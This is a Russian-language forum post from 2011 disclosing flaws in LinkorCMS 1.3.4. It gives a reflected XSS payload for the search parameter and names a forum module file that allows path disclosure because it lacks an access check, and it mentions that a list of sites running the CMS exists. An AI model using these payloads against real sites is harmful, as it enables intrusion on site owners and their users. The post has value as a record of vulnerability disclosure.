Старый 03.02.2011, 20:26   #1
Krist
 
Регистрация: 30.01.2011
Сообщений: 13
Репутация: 11
По умолчанию LinkorCMS

LinkorCMS - linkorcms.ru
Текущая версия: 1.3.4


Пассивная XSS
Код:
index.php?name=search&op=search&searchstr="><script>alert(1)</script><a href=
в конце <a href потому что дальше идут " и другой мусор - все спрячеться в тяг <a


Раскрытие путей

Код:
modules/forum/functions/showforum.php
это один из немногих файлов, который не содержит проверки
PHP код:
if(!defined('VALID_RUN')){
    
header("HTTP/1.1 404 Not Found");
    exit;

+ используется не определенная переменная.

На форуме офсайте есть список адресов , где установлена данная cms
На одном сайте написано что раньше было много багов у этой cms а сейчас дела наладились.
Krist вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot